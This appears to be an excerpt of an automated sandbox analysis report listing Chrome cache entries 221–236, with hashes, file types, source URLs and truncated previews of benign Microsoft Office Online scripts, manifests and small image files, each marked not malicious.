SHA-512:	5C73531F908067B986F4F7F1BB423DC6FC4B1CDC9A6C65205658BD2A2499CB53F0F1C4EB928B8B87B189D969C3769F9D97EA5AB1CEA97FE6F18D2DD4AD583C60
Malicious:	false
Reputation:	low
Preview:	The service is unavailable.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65457)
Category:	downloaded
Size (bytes):	138212
Entropy (8bit):	5.329971207244591
Encrypted:	false
SSDEEP:	1536:NrekafzVM8v4ZvE3DUJ/N0SoY+2d2j6Cha18suGEYE4yH/OqBRMgJlc:hekl8v4ZvEQUSov2dqha1JefOMVJu
MD5:	C4964BED445DA702D1E0233D9BECEC5B
SHA1:	4CB306339C8394C81D79D1335A1E5386CF2C5BF7
SHA-256:	2850BBA18555205F03EC1213FF7A1D0A68FB18CE554C66C9D501B3D9A7AF4ACC
SHA-512:	031A13EF7966E6B510FB4D4B04D8D00D72C1E643D850587AD17F998C39151FC794175BD198C4DF16FC3B13EA05EF33F99DA1DB6D3BB0E292592EC1294BA65BA6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-ef4794d7.js
Preview:	/! For license information please see odsp.1ds.lib-ef4794d7.js.LICENSE.txt /."use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.1ds.lib"],{"1ds-lib":function(e,t,n){n.r(t),n.d(t,{_InMemoryPropertyStorage:function(){return vs},_OneDSLogger:function(){return gs}});var a={};n.r(a),n.d(a,{optionalDiagnostic:function(){return ts},requiredDiagnostic:function(){return es},requiredService:function(){return ns}});var i=function(e,t){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},i(e,t)};function r(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}i(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return o=Object.assign\|\|function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var i i

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	357092
Entropy (8bit):	5.460030841300565
Encrypted:	false
SSDEEP:	6144:pQaqhpgRYdVoY7dLmpK6IpGYRot0qrf6o+tITIev3D/Zv6PoOQH//eX82a:pHZ082a
MD5:	D20472DF9BDA51E2E41DE3B980295BAE
SHA1:	996770FF562EC3BCA75F9F2EE0052C67B92B5066
SHA-256:	AE19691E4FFF05885CFBB74AA3211224549FFD004B87ECE80B1AE25222499644
SHA-512:	8104AE40CDF00FEC09A132503A8F6260DFB2235ADA1154C65CA45C51A4DACCDF79AF588F5B40D67677F03AD07371C9A91A485CADA9DC6369DA8C04B877331CAC
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/navigation.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[243],{12377:function(t,e,n){var i=n(93556),o=n(78267)(i);o.push([t.id,".WhatsNewLayer {\n background-color: rgba(0, 0, 0, 0.4);\n z-index: 1000001;\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n display: flex;\n -webkit-box-align: center;\n -ms-flex-align: center;\n align-items: center;\n -webkit-box-pack: center;\n -ms-flex-pack: center;\n font-family: 'Segoe UI Web (West European)', 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, 'Helvetica Neue',\n sans-serif;\n}\n\n.WhatsNewLayer .WhatsNewBoard {\n min-height: 100px;\n background-color: white;\n width: 100%;\n -webkit-box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.4);\n box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.4);\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n position: relative;\n outline: 3px solid transparent;\n overflow-y: auto;\n}\n\n.WhatsNewLayer .WhatsNewHeader {\n position: relative;\n

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.898748036338932
Encrypted:	false
SSDEEP:	96:V0AoSFRPoZ1ZPj1OJzRgyavlB19E6Vdeaaq+:V0AjRPoTB1OJu3/DE6Oaaq+
MD5:	3C0AE3B9979DB202738E0770070FB088
SHA1:	FDDCF60FA6FB3011A24839EBC7CA058E9B4912E1
SHA-256:	1F53EA5D2A4A115B8C0A407686E59BF9FFDB8145AC6036D1E5581F3BF6390C48
SHA-512:	804BB27293ED747BD74BE707BDC643B952E9C7E67BAE8908C2737D54074E14BE2BD79C98A1A45002CD9E5E457EA7D299FCFE87146C4EAD48460CEE9C2C49273C
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/10/manifest.json
Preview:	{"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8AQV8zXOVZjJRhtbIgP1qvy"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.5c5aa72568aaa16099a5.js","sha384-4VDeYsCErzGUO+GUj2TCI9lFSBFl4ppQZfDTMKPmyFmDTneBNdyajpbupljH9Goc"],"sharedaut

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3454
Entropy (8bit):	4.354715889185925
Encrypted:	false
SSDEEP:	96:+G/fGFSxPHM1Rh7lE2D5UBTmhI4X3owG39VoP:+G/+FkH+PV1STMGVI
MD5:	29495BA1E9165BCBECD0176EFFF7303F
SHA1:	DBF3F602F2F9CBEA11FDE4674E8B0E22FF41EA7B
SHA-256:	4AC0A552845C4C9177192EF0449A9AA63A702B6B865F27ED995B5CE0C8EB3732
SHA-512:	05AE1480E66B4CC66B438F683CA22CA7E10765FB3F3007949339DAC3B6F790B1B1B10AA4E13E05F47A105BFD3B73C4EF28D8CBD1140D54B23E43E2B8BA4E2267
Malicious:	false
Reputation:	low
Preview:	{"timestamp":1714118381514,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"BB46AA47C239D54223A049EA42FF1E429533F0DD","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	124426
Entropy (8bit):	5.305133634377139
Encrypted:	false
SSDEEP:	1536:7GcYamNziXSDZ+w5uE2Bg9cFegKF1TA0So4RNRduCzEdb4u0xG1hlHpw:ycYamNOw5Kg9+z0GRNRdunNrvw
MD5:	9ABDF1AF6CECCDC2ABBF114766B1FC12
SHA1:	DB73D1174C47C9BCA61F14007DCA32D0B167215F
SHA-256:	892E3D437217BF722C9BCC7C7BDEBEDFB4A367815D885C88E0F581D056869F3B
SHA-512:	A420273E8D84EA3835A18BA992E5216A75C97B90EE0E71665430C63D8322F9EBC58FD13845B984D40A2E15EFD888CA530C89FE665FFDE36269250B3DFD1ED86E
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h892E3D437217BF72_App_Scripts/MicrosoftAjaxDS.js
Preview:	(function(){function getAugmentedNamespace(e){if(e.__esModule)return e;var t=e.default;if("function"==typeof t){var r=function e(){if(this instanceof e){var r=[null];return r.push.apply(r,arguments),new(Function.bind.apply(t,r))}return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var n=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(r,t,n.get?n:{enumerable:!0,get:function(){return e[t]}})})),r}var lib={},extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.898748036338932
Encrypted:	false
SSDEEP:	96:V0AoSFRPoZ1ZPj1OJzRgyavlB19E6Vdeaaq+:V0AjRPoTB1OJu3/DE6Oaaq+
MD5:	3C0AE3B9979DB202738E0770070FB088
SHA1:	FDDCF60FA6FB3011A24839EBC7CA058E9B4912E1
SHA-256:	1F53EA5D2A4A115B8C0A407686E59BF9FFDB8145AC6036D1E5581F3BF6390C48
SHA-512:	804BB27293ED747BD74BE707BDC643B952E9C7E67BAE8908C2737D54074E14BE2BD79C98A1A45002CD9E5E457EA7D299FCFE87146C4EAD48460CEE9C2C49273C
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8AQV8zXOVZjJRhtbIgP1qvy"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.5c5aa72568aaa16099a5.js","sha384-4VDeYsCErzGUO+GUj2TCI9lFSBFl4ppQZfDTMKPmyFmDTneBNdyajpbupljH9Goc"],"sharedaut

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	76571
Entropy (8bit):	5.364259301211758
Encrypted:	false
SSDEEP:	768:Y57B+n7r5qGhmViGJmOsrmNS+p2ZiDO0eX/DcynXE+L92w7q9u7k78CRtfa:YxB+n7r55RGMr9nXEiz7V7k78r
MD5:	4DE42314D6EDDA70DF9779762ACC12B8
SHA1:	2AF63137ABC68C0910107F8598B7DE48FD5BBD9C
SHA-256:	7E86DF2AC06E3524CB7BC6F0B8EB07565BA6D103EAF3CF1A30AC4C78F11A4EAA
SHA-512:	4465A7B79288AC5B75B4B21DDE3EA774F94AC209DDADFF99DA7741ED841C739C1F82DAEB550DC707A986FFFED8B9B84F45CA7705F40244A993D0CE34BD65B02B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/Feedback/latest/officebrowserfeedback_ecs_client.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FloodgateDynamicCampaign=t():e.FloodgateDynamicCampaign=t()}(self,(function(){return function(){var e={7222:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),i=this&&this.__exportStar\|\|function(e,t){for(var n in e)"default"===n\|\|Object.prototype.hasOwnProperty.call(t,n)\|\|r(t,e,n)};Object.defineProperty(t,"__esModule",{value:!0}),t.IFloodgateHostPlatform=t.GovernedChannelType=t.ICampaignDefinitions=t.Api=void 0,i(n(7560),t),t.Api=n(7560),i(n(2783),t),i(n(8262),t),i(n(234),t);var o=n(9556);Object.defineProperty(t,"ICampaignDefinitions",{enumerable:!0,get:function(){return o.ICampaignDefinitions}});var s=n(8445);Object.defineProperty(t,"Govern

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836)
Category:	downloaded
Size (bytes):	1881
Entropy (8bit):	5.240295794440103
Encrypted:	false
SSDEEP:	48:TsP2KLZc8PPMjYjrdUKwHuhGLYhM3IH9sWYhCt:TsxZ58YjxmuhGLYWIH9sWYhCt
MD5:	084F31B82B9CAA4C19BB5E468EE523DB
SHA1:	02373D5157ADA9880282B898D8C77382BC462584
SHA-256:	105CBA6E384214824A1D5FABA0EF580DFC31E5F691908ECFDCD39929EC92C26F
SHA-512:	513DC3FA4C79CAABF284532F7BEA3B48B33FABCCBF7395E44758BEADC6CD0A67767C146464BD0F61BDD2852737758A55352464E25D2E83D11B15335B6F0CD0A0
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/uiFabricLazy.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[234],{89290:function(e,n,t){t.r(n),t.d(n,{Callout:function(){return i}});var o=t(87925),r=t(26410),a=t(13402),u=t(88527),i=r.forwardRef((function(e,n){var t=e.layerProps,i=e.doNotLayer,l=(0,o.__rest)(e,["layerProps","doNotLayer"]),s=r.createElement(a.N,(0,o.__assign)({},l,{doNotLayer:i,ref:n}));return i?s:r.createElement(u.m,(0,o.__assign)({},t),s)}));i.displayName="Callout"},57456:function(e,n,t){t.r(n),t.d(n,{ContextualMenu:function(){return p}});var o=t(87925),r=t(26410),a=t(2823),u=t(53242),i=t(65734),l=t(54347),s=t(41809),d={root:"ms-ContextualMenu",container:"ms-ContextualMenu-container",list:"ms-ContextualMenu-list",header:"ms-ContextualMenu-header",title:"ms-ContextualMenu-title",isopen:"is-open"};function c(e){return r.createElement(m,(0,o.__assign)({},e))}var m=(0,a.z)(i.MK,(function(e){var n=e.className,t=e.theme,o=(0,l.Cn)(d,t),r=t.fonts,a=t.semanticColors,u=t.effects;return{root:[t.font

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.7072504511031354
Encrypted:	false
SSDEEP:	3:C8XUwltxljuXGF:t26
MD5:	76084E29CB2CF72B320E888EDC583DFB
SHA1:	8A1CA8DDC90D8A1BC2A6D2147BAB31B5904BFD83
SHA-256:	02D2855C8A5417CD637DF1E81F781E42FF2B12AD6DFFB923A3822F16B5BFA82A
SHA-512:	0F0BB4434CDE759B5D7CD40C8FB12E37E24ED28D687613D73C9F0475E413E79F2C92736B081B919FADE6815C06BC35F4782AFE0D1FF628BB7ED58DC890CC07FB
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h02D2855C8A5417CD_resources/1033/Blank10x10.gif
Preview:	GIF89a.............!.......,.................c+.;

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x21
Category:	downloaded
Size (bytes):	2238
Entropy (8bit):	0.5981083989368443
Encrypted:	false
SSDEEP:	6:Gl/w//6lL15/J1SlX8tn1KsCEss1191919191rsrXd222222Q:CwXOh5X28t1KsCEH3333rR
MD5:	40E83BC5D22C7A23066AA9B464D31ABA
SHA1:	1646333637A841334449B00F371123BD1B6501D3
SHA-256:	A9EB9D74CA2A1D3046AC2CB018629C9C1DC4F18433DC6DEF6EA8AE5E9D860C18
SHA-512:	B15ECBEEEF4DA84F94E0A90BB273CE3B647C013CF89C596D1C654AB48801D775EF731A14B3C85AD310A722409CC8D01F4D75F1132E7F9555FAF099127D9EE5AC
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/m2/ColumnSelect.cur
Preview:	...... ..............(... ...@.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.773010557409425
Encrypted:	false
SSDEEP:	3:mS/SJhnjiCkj7ui5T8IDqtUPlkk2SY:mS/SJhjhw7uiuIiLk2r
MD5:	FF55249D55143D5EB2DF396FA8A34EE8
SHA1:	D2B08C91DD9FCC8D49BAE85476308230D0BC591F
SHA-256:	216A9426D94326E483B2C11154DE2E303385366841111A4A3DAD5590FF89F0BC
SHA-512:	8C1608B6F69312D5BE76DFDBF4E762BA9B50CDE6BBDECA98274F965764F54465CA336EDD6DC7D76996D3DAEC4CB1D59FE5CFEB3B9EE1820E2771879D460A2DD5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmt1ICsmEj55hIFDYmyVeUSBQ3Y2OCyEgUNdSxg6xIeCWJJuEfKApQXEgUNibJV5RIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChsKBw2JslXlGgAKBw3Y2OCyGgAKBw11LGDrGgAKGwoHDYmyVeUaAAoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	73679
Entropy (8bit):	5.345331273160561
Encrypted:	false
SSDEEP:	768:2mEAABhINqfFi3U+BBZ9rbov8krznXSraMIRF+b+hNH8IBYLd9+yerrwg6ksYcI0:sBhPfQ3pBBZ9n4wQB4XjUQeoSGfUk
MD5:	65F960810895837B06B1D3AE1CCEAEF3
SHA1:	0673F80A70CFB78AD7018E161E3201E80CB71307
SHA-256:	F452E6287DAFD3B632CBFF8533ED5DFC2F6F476C8672B468CF6DCFE321B8C889
SHA-512:	1DB287677E77DF1E62326486EEDA54DAB20A760008180ED93D905029B6361BA06212F62DD366E77435F43F701CC9BBE1DC46234C6201173B75336BA79A41DF26
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/telemetry/oteljs_agave.js
Preview:	var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=31)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30746
Entropy (8bit):	5.174902538130611
Encrypted:	false
SSDEEP:	384:/iL+oQA/1DynNjr67VY/6NY/gHWOf49498vxVxjF:/iL+orVynNaBYbyv9uxzF
MD5:	8EEB14C505B79A7378332DE41F3C190D
SHA1:	60A4CBF2B4EAD56ECC380F1FA8706A4C29F7B512
SHA-256:	B0F728D3C97576B5E039209F0D9A2C277D44531441CC76D2A2A4076623EFB1F8
SHA-512:	1AEFB2A8562F18F288BD1E5EB81F5952015CBEDD89D4EA625B28146EA460EA531B38281385F3C8AD7E7ADE84BCDC570B2597344E69F619BC1DA108B26044F07A
Malicious:	false
Reputation:	low
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20240413.3.0","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504.3031be43fd515bfdd9f8.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-636504.3031be43fd515bfdd9f8.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-687d6d\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-e982cf78a09ee1f9482b_node_modules_mecontrol_flue-687d6d.b8d635a632aa976770cd.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41569), with no line terminators
Category:	downloaded
Size (bytes):	41569
Entropy (8bit):	5.349246096567034
Encrypted:	false
SSDEEP:	384:wwstGDociKcWpWS8neDvci6hR5fZ2tF3t97D0QeIHcTzeC:wBlneDvci6hR5fZyt97QLIUz
MD5:	345BFF8D2E34511694D9D12A008F5F5D
SHA1:	B3F35302052C26C285C43B935BCE972904E62E28
SHA-256:	DD4039F8AFAC6FD76B462C4FD4F90374B18DB762719108491AC2E365196D71AC
SHA-512:	5B6A9EB510BFBD7198D00BA674FEB6D04B6E95A7E359A0C9B1C17086FACA1859AE4FE126985812C0AB1E87FEA963FA9B169C3A21A7DA534EC79B972D0935A692
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wacairspaceanimationlibrary.js
Preview:	function WacCurve(n,t,i,r,u,f){this.ID=n;this.type=t;this.x1=i;this.y1=r;this.x2=u;this.y2=f}function WacIntWrapper(n,t){this.value=n;this.contextId=t}function WacKeyFrame(n,t,i,r,u,f,e,o){this.type=n;this.curveID=t;this.startTime=i==null\|\|i.value==undefined?new WacIntWrapper(i,null):i;this.endTime=r==null\|\|r.value==undefined?new WacIntWrapper(r,null):r;this.startValue=u==null\|\|u.value==undefined?new WacIntWrapper(u,null):u;this.endValue=f==null\|\|f.value==undefined?new WacIntWrapper(f,null):f;this.relativeTo=e;this.operationType=o}function WacAnimation_ContextVariableManager(){}function WacAnim(n,t){this.ID=n;this.keyFrames=t}function WacAnimationEngine(){this.AnimationQueue=new Array(0);this.sharedTimer=null;this.sharedCancelTimer=null;this.resetInterval=5e3;this.sharedTimerRefs=0;this.conflictTable=new Array(0);this.currentAnimationIndex=-1;this.temporaryIDGenerator=0}function WacAnimation_State(){this.Index=0;this.Data=new Array(0);this.AnimateRight=!1}function WacAnimation_Object(n

Chrome Cache Entry: 237

